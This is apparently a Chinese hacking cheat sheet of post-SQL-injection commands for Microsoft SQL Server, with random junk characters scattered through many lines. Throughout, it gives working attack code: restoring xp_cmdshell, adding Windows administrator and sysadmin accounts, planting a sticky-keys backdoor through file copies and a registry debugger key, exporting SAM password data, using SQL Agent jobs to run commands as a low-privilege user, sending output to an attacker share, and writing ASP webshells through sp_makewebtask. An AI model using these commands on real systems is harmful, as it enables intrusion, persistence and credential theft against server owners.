1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
/ F$ h7 Z/ g' ?' K% r. c恢复方法:查询分离器连接后,
" j X4 r1 B/ }第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
5 F( u' f6 T0 \: a第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' # P! l' d9 C+ l# l) h$ ^; [
然后按F5键命令执行完毕9 T2 _3 E+ s; e0 S; r! G
% O1 H# ]3 J: ?' m/ B' b2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)8 U# ~! B; S9 j1 I2 W
恢复方法:查询分离器连接后,# ^* G+ p2 g) `
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell". X4 d) u0 j8 }! X5 j. L1 K# C
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'1 {' u# V7 ]# X+ c1 |. D6 c- [
然后按F5键命令执行完毕6 m `& C% L& _
# d) V: ^$ g" a3 P6 i
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
& N0 ~* D" L6 }) C0 [; H$ s恢复方法:查询分离器连接后,/ D2 T0 X$ y2 A% _, m$ ~& M1 ?6 P
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'$ ] V" s q3 B
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 5 H. \1 A. q& ^, y9 ]
然后按F5键命令执行完毕5 q& c8 y' Z; w+ f6 J
3 C5 k2 V$ D( S/ o$ v3 W4 终极方法.( x2 w1 t" r/ a; \, x
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:( m. [/ a3 F+ U, H' m
查询分离器连接后,
1 _+ P8 }' L% b+ Q4 C6 q2000servser系统:
8 O2 v+ [" c5 o) f( ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'7 ^/ J$ N9 g$ @2 `8 t: s
& @5 g5 H) K# ~4 i
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'# V, x! r+ h& ?: [5 m# N# e
* k3 G( c: V6 ^7 ?1 r1 m* x+ Dxp或2003server系统:& x/ E# i0 o$ ~! j. ~$ r0 X
- m# H- b- ]) `. Ldeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'. X& X8 D( Z* I5 `+ R I7 S
Z# y" d! {) `# Ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
! s9 w* E- V7 {9 s7 \% T, N% _6 Y! v& | {5 \* b v$ z$ p
2 X- M+ G8 n% |) H" T) z五个SHIFT
( o7 W; O/ f/ Z& Fdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';+ w& b4 Q6 Q- v; `0 ~
3 T1 B! P7 r5 S3 v( U7 i% V; _7 ideclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 6 U \0 A# h- N' z* t
3 Q- p0 l! \) y9 N/ J3 c! E
xp_cmdshell执行命令另一种方法
$ m6 {2 l8 v6 r+ q+ z6 ideclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ' j/ u( F7 [0 k& a' W
% q5 B2 W" u2 K5 W" b$ ]判断存储扩展是否存在: ^: s# r& \" h* \
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'% U+ C3 |: C4 |& @1 u
返回结果为1就OK
8 k3 F$ `6 @3 O/ K& M6 T& B$ Q- a$ a6 u, Q1 q
$ _7 I, ~! C I, Z- R1 Y上传xplog70.dll恢复xp_cmdshell语句:& x1 ~5 n' A/ x. e' j
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
# r& @: \$ v% v' [, K" K- T. N$ C( a8 c" X, R" M# n' s/ ^" E
否则上传xplog7.0.dll9 L3 z l. s8 W9 a
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'3 Z# Y, U0 E, B
5 H# o& J4 {" O/ S1 B, x! l3 o- a/ i
+ I0 ~! ~. [5 h8 T B, V6 t4 R' _
- `! |, D- N5 Z2 j7 i0 J, x
首先开启沙盘模式:$ e1 X: l& |+ O6 G; _6 ]' j, ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1. i5 {3 r# ~ u* |; G9 V
* S0 E) B6 k/ h2 J4 i然后利用jet.oledb执行系统命令2 Y# q5 j5 k4 S: y; g0 o5 W
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
& m* A4 o3 e' W返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
* `% h1 B" I/ g! _2 U# a& O d- O# i& y) v
' q2 ]7 {0 S6 A3 ]: `
5 A4 B1 v. m# A; |7 [ R4 P恢复过程sp_addextendedproc 如下:
# x+ Z- S( i2 y" ^2 G# u7 [: R4 fcreate procedure sp_addextendedproc --- 1996/08/30 20:13 5 F% j0 R7 U, r, }' o; n7 g2 D
@functname nvarchar(517),/* (owner.)name of function to call */
9 s8 U0 p5 O6 _5 N0 N@dllname varchar(255)/* name of DLL containing function */ , `# I ]1 ~# ]
as 7 y0 k( ~) I! \9 [: x* Y: d
set implicit_transactions off : Z0 N6 f h- m0 h% G* h( @( T
if @@trancount > 0
W0 R8 V! [' R3 A9 A! Dbegin 1 o0 [" y: g* C, w: I# C
raiserror(15002,-1,-1,'sp_addextendedproc') 9 O% g4 y6 `5 u; ?$ g
return (1)
! l+ ?$ A5 q8 s2 B- @8 {end
% {* r; k, ?/ a4 u: U) ^dbcc addextendedproc( @functname, @dllname) ; ~/ z; d. L" J! D6 }
return (0) -- sp_addextendedproc . z0 C! `" I/ `3 q) r; I6 ]
GO
8 L; T4 I# V2 ~* }. ?" _5 Q
: e3 k' }9 E* H! D
8 ~2 y, ^8 j( B6 h5 l9 N. L: g" O" W
导出管理员密码文件
+ Y$ N0 b7 ]8 ?5 j- \ f/ |5 tsa默认可以读sam键.应该。
0 V( V% k7 f& O/ I5 [" N8 ?reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg V5 Q w; c& \; l
net user administrator test& A" b2 ~( {9 j1 B+ W
用administrator登陆." Y& m( t0 Q y# _& q" _
用完机器后, T y" o/ O0 R" ~0 h" W) }
reg import c:\test.reg
- ~# p \0 {) R, u( t p0 h" }根本不用克隆.5 m$ T j' }) m
找到对应的sid. ( U1 f; m; b8 r* Y, L
* d5 o- A6 O4 M0 t
+ d& B4 y1 o: F. b- F, v
8 |# F: p, K$ v! H$ c5 S恢复所有存储过程/ S4 ~. x) \* k. u( r
use master * j% w' K' O0 l, J. A5 j
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
. a6 C) _: t- e1 Y8 @, Wexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
! ?; @4 j7 D. d6 T7 o4 Oexec sp_addextendedproc xp_loginconfig,'xplog70.dll' " F. \0 h& g: K4 A" L, Q
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' + ? C& @/ \: Z+ n" k
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' . x* E) _& s0 } q" T; k4 A
exec sp_addextendedproc sp_OACreate,'odsole70.dll' : H4 L, z: n1 n) r! v
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' ; h" ~( [2 K. `; } K% H9 q
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
: p/ h+ d# e% y: I2 b: }/ W% {exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
" U4 X3 |5 L$ l- J$ b" V$ h' Wexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
, k! y& V. p4 J% d' r: Cexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' / r' l9 a# O1 D2 Q @, d, r4 |
exec sp_addextendedproc sp_OAStop,'odsole70.dll' + J! H9 P: H7 _) V+ U
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
% o8 e9 F8 ?% a& J7 Fexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
2 {$ _8 D2 i7 gexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
& `1 T- U. Y! h9 A3 i8 V6 Z' @" C# l2 ?% Vexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 2 |, Z: W" C( h( J5 D3 y& E
exec sp_addextendedproc xp_regread,'xpstar.dll'
4 P: Q( I8 o. |9 w3 B! f! ^7 Zexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 0 B$ L: j" M5 x. _- ^
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
" q) U$ V8 d% ^0 l# Cexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
+ N/ K8 l; N' Y8 i; f
?" {, {% w8 e. z( v
/ P5 {# U/ X. L5 P' d建立读文件的存储过程
0 X! E. y8 U& k5 F' u& E. `$ cCreate proc sp_readTextFile @filename sysname
2 g, _0 i! x/ I) x7 sas
6 m7 H; l2 u* E# n( m# z# D5 I! o3 v2 O
begin
) ]/ p% q n$ G& L% _8 V+ v6 F; e set nocount on
$ u3 K& ~8 ?* T$ l% m2 |( [ Create table #tempfile (line varchar(8000))7 D! ?: P( A! J3 C. F0 x$ n
exec ('bulk insert #tempfile from "' + @filename + '"')6 e. T) i/ t3 T" j* M
select * from #tempfile: U/ p3 v) I6 Q1 b P; i) G# q
drop table #tempfile
7 ]0 Y Q. G9 p! ~! J) ]6 @End3 W5 \/ h! `, d5 }
1 F9 \4 a" a& i# _/ y& T7 A/ \8 Zexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
* x* R) B5 E# P9 |6 V, P" `查看登录用户
/ c5 Q. k% q4 p$ ~) r/ T1 MSelect * from sysxlogins
& d& y; K1 O! J! X1 F2 ?* i. U8 V* d
把文件内容读取到表中
' g5 u; k, z+ y$ Z: C* A; QBULK INSERT tmp from "c:\test.txt") e# c" Z, E; u# K0 p
dElete from 表名 清理表里的内容5 b# L$ ~& ]$ `& i+ V N
create table b_test(fn nvarchar(4000));建一个表,字段为fn
m: S7 E- {+ a1 K- U" a4 K
" Q' v& K$ [: A; Q! S
7 P5 F' ?+ F2 H5 m加sa用户
( n6 e# Z2 d m0 z6 v# O$ M0 y7 q, `( Xexec master.dbo.sp_addlogin user,pass;. q8 L8 ^: k* N4 v
exec master.dbo.sp_addsrvrolemember user,sysadmin, A8 `' v. a3 L% y. S
3 Z1 O0 t: P0 h! t/ z" t
7 m$ B2 E0 V3 Q) W0 w' G) E! b( x
/ s, l: P3 L% Z) j; P读文件代码
. i3 T- T8 ]: }: ^: U. cdeclare @o int, @f int, @t int, @ret int) K3 l0 F* E. R9 u5 r0 ]) n
declare @line varchar(8000)
( t3 Y o* A% r% x. Oexec sp_oacreate 'scripting.filesystemobject', @o out
5 D$ Q0 ^! f* \3 \exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
- h# g' U5 i, F- b* Eexec @ret = sp_oamethod @f, 'readline', @line out
- u2 B- L$ @0 L3 T7 b' zwhile( @ret = 0 )' h- n# f {; {& ^3 ^3 R9 k3 L
begin
! j8 q4 u9 C. h9 E; Tprint @line8 `; _# Q7 E7 g
exec @ret = sp_oamethod @f, 'readline', @line out4 Q6 s$ i4 I7 \8 p
end
# g& d" ~- s5 d2 n4 P
$ h; C2 n0 V& q3 e1 a5 G
9 F. V3 n; }- W写文件代码:- @: R0 I+ z2 Q5 e1 m% O
declare @o int, @f int, @t int, @ret int+ G4 l' F" g, ~- @ s* b
exec sp_oacreate 'scripting.filesystemobject', @o out" A- o0 ~; e8 Z0 X- e! c
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
/ V' _* g0 a( S/ u, Uexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》, b1 j: D8 N9 [+ P
4 n- s' U8 L' o% f8 j2 z, ?
& s8 s7 i. c2 {$ s, X! J- _
添加lake2 shell% \' M$ d8 q- o
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
9 L% }* R; J2 C) V: e9 L7 osp_dropextendedproc xp_lake2
I; i1 ^: C7 k* K( tEXEC xp_lake2 'net user'* o+ X# X) g7 {$ g' C- G8 \
, N8 q1 K t- B/ A6 F6 b5 L
) `9 v# O6 x2 n: X1 o得到硬盘文件信息 7 p" j0 o( J! }. H+ s }4 P
--参数说明:目录名,目录深度,是否显示文件 * C- ?; n0 w z O* ^, C
execute master..xp_dirtree 'c:' 3 U; ?( a+ l( C( C
execute master..xp_dirtree 'c:',1 : k& I( Y! }8 K I7 [
execute master..xp_dirtree 'c:',1,1 . h, z4 B5 S0 J Y
8 [9 ?6 n5 V# O( ]1 Y* J$ A9 a' h+ p
读serv-u配置信息
- g4 f6 P$ [; ?4 `' mexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'* n L1 n! w2 O4 x. R8 j
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
% \3 G- P9 H3 l* p0 {. a
+ p) v; C9 X' r) J5 S8 ]: N通过xp_regwrite写SHIFT后门
, n% T0 c* l: E% b( }( bexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--' C8 h7 u7 X6 u6 g d; g' N
3 `/ H: ]3 _3 a" B& M7 X) e7 K
' G. q/ A, p3 Q) K& }5 ?2 O' \# H, K2 q* O) ^5 w
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';9 u w9 e `' l- ` R
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
% I6 U7 \( x6 _5 a+ l E) ~* r1 c1 w8 o# V U4 f
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 S0 z, r9 \4 H @; m) t: Y
/ f* d& F$ U& O# j9 Q, e: C2 ~+ x6 g% E) g
- ?! |: s) Q% C' H
sql server 2005下开启xp_cmdshell的办法 L& l/ P) K* r/ e( D/ {4 K4 r
7 ?/ w5 Z+ o" g0 c2 c$ CEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;% N8 G7 l2 Q' d1 o' Y/ B
/ A3 X; d W' [5 Z4 }SQL2005开启'OPENROWSET'支持的方法:$ i! L2 S2 Z. q; j8 ~8 C
* Y! s3 I9 K, B2 K
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
6 Z2 R$ f0 \/ n) l. N6 O' y
1 c; U6 m" ^- ]' W6 Y6 P- n1 Y6 qSQL2005开启'sp_oacreate'支持的方法:
. t. U( u9 W* E; r$ w: X, O0 X: [8 N+ ?9 o' G3 z9 T( g
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
6 ]7 V% u/ `& J1 |- j) `# [9 W& S; }* e* B% r: @: q& @
+ Y# a5 D( E' v/ I: g# B0 ]4 a
: e1 U) \8 ?: a; v
8 a) ~( S0 W: x& q8 ~
' ^0 G. v* a! F! _( ? [' X3 |5 b* o U& D6 G/ A/ Y" M$ f
4 f' C. k3 ?% `" }* Q
3 X9 t. F6 ]3 Y2 a& @- d8 E8 i( d
6 C- @5 ^' ^' r- g3 n8 a9 ]5 S
' N" f$ t% i' d# ~
" Q# x! I3 a3 T( B" X% t9 t7 u/ |* V I; Z0 `2 j, D1 ^
$ J4 p+ u% c* l P! G2 u+ M3 q' G
9 }0 [9 r% ~ ?
$ X( ]. O1 h1 e5 Z( v
' S/ m2 F& O. D2 B
' T! u6 n5 ^& e9 y' h
4 ~. q1 @- P9 W* b% k7 g; K0 ]
: ]; q3 a8 H. V9 N$ J a6 p3 T
$ t/ n+ A! K( L3 C* z
0 a2 o6 d$ h8 D, y2 E+ F9 Z
9 C2 y$ I9 ]! S- ^( ^0 I& Z& P
7 i) `. {9 P2 v2 r/ R0 I1 l以下方面不知道能不能成功暂且留下研究哈:4 A5 U8 O$ V0 i) V2 B( ^
4)
1 w6 v" d0 x3 o# A+ ^% Buse msdb; --这儿不要是master哟
9 N# M& Q# a( W2 kexec sp_add_job @job_name= czy82 ;* T- f5 s- l" M# |7 }( r
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
2 w7 C) }) p" C9 ~+ h6 o! yexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
9 ^3 z, R, E% \9 f) ^, V( xexec sp_start_job @job_name= czy82 ; S/ ]3 g( N1 y; x+ b% _* M
1 }9 M6 S9 ?3 X0 {2 x# a. J y6 a# d
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以& W `! Q- w$ T. j& t
执行tsql语句了.
- V- n/ i7 T* _对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
! r! z; _& O; K; @第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)/ }! e6 i+ V" q# c' g
net start SQLSERVERAGENT
, z+ ~ T- L; V: v, D
/ w. ?$ S |* y9 H5 D7 |对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的! b9 G4 ~% d7 Y7 y/ z) {
USE msdb
' Y! Z8 q c: |EXEC sp_add_job @job_name = GetSystemOnSQL ,# j K7 J' u. ?1 @" v) S) r
@enabled = 1,
& a+ A# x5 ^3 E: w. F@description = This will give a low privileged user access to+ v) v/ E" j" L) o
xp_cmdshell ,3 l0 i4 I r! s! }) m4 i
@delete_level = 1
# X- g6 g! @* W$ p( e6 Z1 ?# T& r6 OEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,& a' b% k! m5 z2 \9 E. \3 B1 {
@step_name = Exec my sql ,
5 A" i6 D, R8 Y6 P# Z@subsystem = TSQL ,
& M, s$ j$ S9 x# Q$ I) q4 I/ u@command = exec master..xp_execresultset N select exec
! S+ T" [9 q* L9 Dmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 2 r6 e+ j/ ?. g8 @6 i; p0 k
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,# g4 c5 u( m8 n3 H! @5 e
@server_name = 你的SQL的服务器名 ! B; c6 W; m. Z6 ?4 B0 _
EXEC sp_start_job @job_name = GetSystemOnSQL : j, `* X. d8 e1 P$ {
2 d/ D: P& ]- k& d3 Q
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
! j1 V( A( |+ S. K* _才让我们可以以public执行xp_cmdshell+ W( ?. f' J4 j1 p; w: j0 s* N
$ A0 T( C9 y' g y$ O" u) F2 q5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
) [" t& A! C7 m: [ c在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
' W& `% h6 _! O. b* V/ X8 E
1 i$ s! k" p, O& S9 B5 L; G* JUSE msdb
* d3 h9 r2 `2 QEXEC sp_add_job @job_name = ArbitraryFilecreate ,
, V8 e5 X' X7 G( M5 s3 O8 l@enabled = 1,
2 b, t4 c0 _0 K: d' M# d. \, e/ c@description = This will create a file called c:\sqlafc123.txt ,, ~* U A7 p. }1 J7 L# ]) T1 y
@delete_level = 15 S i+ R4 h+ u$ N( _ {
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,8 x- U1 t0 Z/ i4 s
@step_name = SQLAFC ,# e+ T& c! |0 ? [4 Z( l1 V$ A
@subsystem = TSQL ,
" t; C( q+ t- U& r H z' c( b@command = select hello, this file was created by the SQL Agent. ,
6 @# Z+ i2 S# C@output_file_name = c:\sqlafc123.txt
4 X) I) d7 \1 H5 `+ i- NEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,/ e, s8 y, Y9 X
@server_name = SERVER_NAME
* Q% D, Q* Q6 q, L; VEXEC sp_start_job @job_name = ArbitraryFilecreate . q& Q9 |" h3 B
) a- T* Y% p. _如果subsystem选的是:tsql,在生成的文件的头部有如下内容
% O7 G* | _$ N; F$ R2 k0 h
& j* S% V3 x6 Z7 ]5 a??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
" s" a3 m; t. N: k7 y/ @----------------------------------------------. T3 m; ~8 M2 x: `) m
hello, this file was created by the SQL Agent.! V5 @/ \- M" ^: [, |4 g' M
: x% A2 {) D% y) z0 u! ?) I
(1 ?????)
; n0 ^. j1 Z$ H8 s7 u' p4 k7 g& G2 C# E- f" Q6 B( P( p
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
+ I) |; l6 E+ e4 h5 M a- ]命令的vbs文件到启动目录!
W# Z9 D: i6 U9 {, {& V, ?. }2 q% W$ `1 _0 {/ M& B8 u0 O5 ]! l
6)关于sp_makewebtask(可以写任意内容任意文件名的文件). u8 t* Z) V1 z( w
关于sp_MScopyscriptfile 看下面的例子5 R& ]5 b4 V/ L' ^8 N$ G. f: h
declare @command varchar(100) ( L" g3 \6 y! E
declare @scripfile varchar(200)
. Z/ w' ?" Z* p) i1 h, w* dset concat_null_yields_null off 1 h" ?+ d9 h& O1 `( y' e |
select @command= dir c:\ > "\\attackerip\share\dir.txt" ( u! H2 z6 R* h Y4 O; \& F9 O
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 0 i1 }- m" H8 B9 Q' J
exec sp_MScopyscriptfile @scripfile , ; R) }6 m8 t a; ]5 s
# G5 d7 K" d2 @2 v4 K这两个东东都还在测试试哟! m0 O% a6 b! u6 T9 S; _
让MSSQL的public用户得到一个本机的web shell
" M, N3 F8 \1 U3 K3 f1 v" j! [* ?% j4 G2 h& Q4 ^4 i
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
+ q/ _; y& d, v--@query= select <img src=vbscript:msgbox(now())>
# H9 m$ e: g3 V5 D. W0 H--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 3 @; }0 C' v: n$ w8 i% n5 Y
@query= select
) P9 D4 Q+ ~( L<%On Error Resume Next
" b) E/ a+ D+ O; QSet oscript = Server.createObject("wscript.SHELL")
' w! s2 l) g1 ~! @Set oscriptNet = Server.createObject("wscript.NETWORK") 5 z, ^1 A& C+ V+ r6 y
Set oFileSys = Server.createObject("scripting.FileSystemObject") % c4 o$ h$ B, w1 a( d
szCMD = Request.Form(".CMD") 0 Y: X+ t+ O4 ^: m; f7 J$ W2 S& K8 |
If (szCMD <>"")Then " P; @5 q% `! k' r3 ~( v, `+ w
szTempFile = "C:\" & oFileSys.GetTempName()
& m7 h3 M/ ~3 _' b; XCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ( d0 u- e% m0 H; D0 J
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) & Y# S# L( w7 @0 g( m
End If %>
/ u5 i1 B9 A2 H9 j; \9 U) ?+ |<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> : D0 U3 {' m* E2 }7 G2 U
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 3 X( u8 @" B' x1 H
</FORM>< RE> . c7 F1 a9 N0 k0 c7 F
<% If (IsObject(oFile))Then 6 t! L! ?9 y5 Z& c9 ^" H
On Error Resume Next
2 g- f1 N# [- x+ Z( UResponse.Write Server.HTMLEncode(oFile.ReadAll)
8 A4 ?4 s. V+ j" {2 I5 u' JoFile.Close
. \4 E+ g- T" a6 x7 F3 iCall oFileSys.deleteFile(szTempFile, True) 8 z, \" `) A/ x$ W
End If%>
9 A% t x3 p" k0 T- b/ N! j& n</BODY></HTML>
, ^% ?3 F& U! V# f$ I- w% M2 Z) O" S |